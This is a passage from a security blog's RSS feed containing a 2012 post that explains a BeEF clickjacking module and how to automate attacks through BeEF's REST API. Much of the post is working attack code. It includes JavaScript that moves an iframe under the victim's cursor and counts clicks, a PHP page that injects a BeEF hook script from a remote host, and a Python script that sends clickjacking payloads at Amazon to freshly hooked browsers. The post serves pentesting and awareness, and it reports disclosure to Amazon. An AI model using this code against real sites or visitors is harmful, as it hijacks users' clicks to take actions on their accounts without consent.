			<media:title type="html">accomplishment</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/12/1a.png?w=500" medium="image">
			<media:title type="html">1a</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/12/feistel.jpg" medium="image">
			<media:title type="html">Feistel</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/12/collision.png" medium="image">
			<media:title type="html">collision</media:title>
		</media:content>
	</item>
		<item>
		<title>BeEf Clickjacking Module and using the REST API to Automate Attacks</title>
		<link>http://webstersprodigy.net/2012/12/06/beef-clickjacking-module-and-using-the-rest-api-to-automate-attacks/</link>
		<comments>http://webstersprodigy.net/2012/12/06/beef-clickjacking-module-and-using-the-rest-api-to-automate-attacks/#comments</comments>
		<pubDate>Fri, 07 Dec 2012 07:59:42 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[clickjacking]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=1704</guid>
		<description><![CDATA[I&#8217;ve chatted about clickjacking a few times in the past. It&#8217;s an attack I think is often overlooked as non-important, and part of the reason people think that is probably because making these attacks convincing isn&#8217;t necessarily easy. To perform a convincing clickjacking attack as a pentester or real attacker, there are some tools that [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=1704&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve chatted about clickjacking a few times in the past. It&#8217;s an attack I think is often overlooked as non-important, and part of the reason people think that is probably because making these attacks convincing isn&#8217;t necessarily easy. To perform a convincing clickjacking attack as a pentester or real attacker, there are some tools that can be useful, but for the most part you&#8217;re pretty much stuck writing your own Javascript (or paying someone to write it for you). Well, this type of thing just got a whole lot easier.</p>
<p>A couple weeks ago my wife and I submitted a clickjacking module to <a href="https://github.com/beefproject/beef/pull/743">BeEf</a> (now accepted into the main branch). This is a post about that. First I&#8217;m going to talk about how it works, and then about how to use it. </p>
<h3>Reliably Following the Mouse</h3>
<p>One of the coolest features of this module is that it works in all tested versions of IE, chrome, and Firefox. There&#8217;s <a href="http://ha.ckers.org/weird/followmouse.html">other mouse following code available</a>, but to my knowledge, none of the previously written snippets have worked as reliably.</p>
<p>The idea behind following mouse is simple. There are two frames, an inner and an outer. The outer frame is large, and it&#8217;s what contains the entire clickjackable page. The inner frame registers a mousemove event that triggers when the mouse is moved over our own domain (once it exits the victim domain), and the inner iframe is updated so our mouse is always over whatever we want our victim to click on.</p>
<pre class="brush: jscript; title: ; notranslate">
$j(&quot;body&quot;).mousemove(function(e) {
     $j(outerObj).css('top', e.pageY);
     $j(outerObj).css('left', e.pageX);
 });
</pre>
<p>The &#8220;body&#8221; turns out to be important, since IE didn&#8217;t recognize &#8220;document&#8221; &#8211; so if you have custom attacker pages watch out for that.</p>
<p>Also, it might be obvious, but although the inner iframe is visible by default, it can easily be configured to be invisible.</p>
<h3>Multiple Clicks and Events</h3>
<p>It&#8217;s a bit of a challenge on how to detect when a user clicks over a domain we don&#8217;t own. We solved this by giving focus to an invisible button on our domain, and then counting it as a click when that button loses focus.</p>
<pre class="brush: jscript; title: ; notranslate">
$j(btnObj).focus();
$j(btnObj).focusout(function() {
    cjLog(&quot;Iframe clicked&quot;);
    iframeClicked();
});
</pre>
<p>When we do detect a click, the iframeClicked function counts it, updates the inneriframe position, and evaluates a custom function. This custom function is important because it allows us to update the visible page, making the attacker page appear responsive. In the demo page, this function can do things like update the displayed quote. There&#8217;s also a delay, which I discovered was important when testing various Google pages, because it takes a moment for some clicks to register, and if we immediately move the inneriframe it doesn&#8217;t work.</p>
<pre class="brush: jscript; title: ; notranslate">
function iframeClicked(){
    clicked++;
    var jsfunc = '';
    jsfunc = clicks[clicked-1].js;
    innerPos.top = clicks[clicked].posTop;
    innerPos.left = clicks[clicked].posLeft;
    eval(unescape(jsfunc));
    setTimeout(function(){
        updateIframePosition();
    }, &lt;%= @clickDelay %&gt;);

    setTimeout(function(){
        var btnSelector = &quot;#&quot; + elems.btn;
        var btnObj = $j(btnSelector);
        $j(btnObj).focus();

        //check if there are any more actions to perform
        try {
            if (isNaN(parseInt(clicks[clicked].posTop))) {
                removeAll(elems);
                throw &quot;No more clicks.&quot;;
            }
        } catch(e) {
            cjLog(e);
        }
    }, 200);
}
</pre>
<h3>Using the BEEF REST API to Automatically Attack Victims when they Visit our Page</h3>
<p>There are a few reasons we chose BeEf to write this. First, there&#8217;s a lot of information BeEf will gather that can be useful. It has browser detection, so if a certain browser renders a page differently we can detect that and tailor the attack accordingly. One drawback initially was the fact you had to login to a web console to customize an attack for a hooked browser. For clickjacking, this just doesn&#8217;t seem realistic. We want the attack to begin right when someone visits our page.</p>
<p>Luckily, BeEf recently added a REST API. There are a few examples of how this is useful. I&#8217;m surprised it isn&#8217;t getting more attention, because now all of a sudden when someone visits our attacker page our payload is fired off immediately rather than an attacker manually babysitting the sessions. This really applies to all modules &#8211; not just the clickjacking.</p>
<p>My strategy for firing off attacks is messy, but it seems to work fairly well. I just have a php file that hooks beef and then does a system call to a script that calls the REST client</p>
<pre class="brush: php; title: ; notranslate">
&lt;!-- BeEF hook call --&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
	var commandModuleStr = '&lt;script src=&quot;http://192.168.138.129:3000/hook.js&quot; type=&quot;text/javascript&quot;&gt;&lt;\/script&gt;';
	document.write(commandModuleStr);
&lt;/script&gt;
...
&lt;!--
&lt;?php
    system(&quot;python /var/www/beef/beefrest.py &amp; &gt; /tmp/myscriptlog.txt&quot;);
?&gt; --&gt;

</pre>
<p>The REST client script grabs the latest session and sends an attack. For example, to send our clickjacking attack</p>
<p><strong>Update: This could be better by making use of the autorun call, which I didn&#8217;t know existed at the time. Here: <a href="http://blog.beefproject.com/2012/08/happy-hooking-beef-autorun-and-twitter.html">http://blog.beefproject.com/2012/08/happy-hooking-beef-autorun-and-twitter.html</a>, and <a href="http://blog.beefproject.com/2012/12/beef-shank-beef-mitm-for-pentests.html">http://blog.beefproject.com/2012/12/beef-shank-beef-mitm-for-pentests.html</a></strong></p>
<pre class="brush: python; title: ; notranslate">
#!/usr/bin/python

import json
import urllib
import urllib2
import time

class beefClickjack:
	def __init__(self, authkey, host):
		self.authkey = authkey
		self.host = host

	#returns all online hooked browsers
	#TODO exception handling
	def getHookedBrowsers(self):
		f = urllib2.urlopen(self.host + &quot;/api/hooks?token=&quot; + self.authkey)
		data = json.loads(f.read())
		hooked = data[&quot;hooked-browsers&quot;][&quot;online&quot;]
		return hooked

	#returns most recent hooked browser
	#there is a bit of a race condition, but in reality it  shouldn't matter
	def getLastHooked(self):
		hooked = self.getHookedBrowsers()
		max_hook = sorted(hooked)[-1]
		print &quot;=============&quot;
		print hooked
		print &quot;=============&quot;
		sessionid = hooked[max_hook][&quot;session&quot;]
		return (sessionid, max_hook)

	#send clickjacking payload to most recently hooked browser
	#can get with /api/modules?token=....
	def sendClickjack(self, data):
		sessionId = self.getLastHooked()[0]
		url = self.host + &quot;api/modules/&quot; + sessionId + &quot;/22?token=&quot; + self.authkey
		print url
		req = urllib2.Request(url, data)
		req.add_header(&quot;Content-Type&quot;, &quot;application/json; charset=UTF-8&quot;)
		f = urllib2.urlopen(req)
		print f.read()


#Below will need to be customized
if __name__ == &quot;__main__&quot;:
        time.sleep(1)
	b = beefClickjack(
			authkey=&quot;ec808711566a1e2b85bc6c692681c946d97f0ba2&quot;,
			host=&quot;http://127.0.0.1:3000/&quot;
		)
	data = {
		&quot;iFrameSrc&quot; : &quot;http://www.amazon.com/gp/aw/d/0312546343/&quot;,
		&quot;iFrameSecurityZone&quot; : &quot;off&quot;,
		&quot;iFrameSandbox&quot; : &quot;off&quot;,
		&quot;iFrameVisibility&quot; : &quot;on&quot;,
		&quot;clickDelay&quot; : &quot;300&quot;,
		&quot;iFrameWidth&quot; :&quot; 30&quot;,
		&quot;iFrameHeight&quot; :&quot;15&quot;,
		&quot;clickaction_1&quot; : &quot;$(\&quot;#overlay1\&quot;).data(\&quot;overlay\&quot;).close();&quot;,
		&quot;iFrameLeft_1&quot; : &quot;990&quot;,
		&quot;iFrameTop_1&quot; : &quot;180&quot;,
		&quot;iFrameLeft_2&quot; : &quot;-&quot;,
		&quot;iFrameTop_2&quot; : &quot;-&quot;
	}
	b.sendClickjack(json.dumps(data))

</pre>
<p>Again, this could become more elegant. For example, you could keep track of all sessions and ensure every online session is sent a payload. This would also be where you could do various browser detection things to help determine anything browser specific.</p>
<h3>Real World Usage/Examples</h3>
<p>In September 2012 <a href="http://www.shodanhq.com/research/infodisc">http://www.shodanhq.com/research/infodisc</a> performed a basic scan against the Alexa top 10,000 sites on the Internet and found only 0.54% of these websites contained X-FRAME-OPTIONS. It is possible that the header is set only on pages that require authentication or pages that are used to change state. However, the percentage of websites with proper mitigations is undeniably low.</p>
<p>The fact is an attacker can use clickjacking against most websites, including commerce sites, financial sites, management consoles&#8230; most everything where you perform actions. When we first wrote this module our first test used multiple clicks against <a href="http://webstersprodigy.net/2012/09/13/clickjacking-google/" title="Clickjacking Google">Google</a>, which I believe still works today. Below I&#8217;ll outline a few simpler use cases for the module.</p>
<h3 id="Amazon">Amazon &#8211; Adding an Item to the Wishlist</h3>
<p>One XSS I heard about recently was in the <a href="http://blog.yujikosuga.com/2012/10/csrf-and-stored-xss-in-amazon-wishlist.html">wishlist</a>. Although this guy used CSRF to add an item to the cart, he could have also used clickjacking (or used clickjacking if the wishlist wasn&#8217;t vulnerable to CSRF). The REST API source above is for Amazon:</p>
<span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='630' height='385' src='http://www.youtube.com/embed/PT8Z-BAITK0?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span>
<p>One interesting note that you&#8217;ll gather if you watched the video: Amazon proper had x-frame-options but the mobile pages did not, allowing for the &#8220;attack&#8221;. I reported this to Amazon and they&#8217;ve since added x-frame-options to the mobile pages.</p>
<h3>WordPress</h3>
<p>The goal of this &#8220;attack&#8221; is to get someone logged into wordpress.com to like a post that I&#8217;ve written (similar maybe to Facebook likejacking, but on wordpress). This demo is similar to the last one, but I&#8217;ll just use BeEf&#8217;s web interface rather than the REST api.</p>
<span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='630' height='385' src='http://www.youtube.com/embed/NPFRo_zT-aA?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span>
<p>Nothing novel here except that it took longer to register a dummy wordpress account than it did to craft a clickjacking payload. </p>
<h3>Conclusions</h3>
<p>I hope this is my last post about clickjacking ever. :)</p>
<br />  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=1704&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/12/06/beef-clickjacking-module-and-using-the-rest-api-to-automate-attacks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=http%3A%2F%2F2.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
	</channel>
</rss>
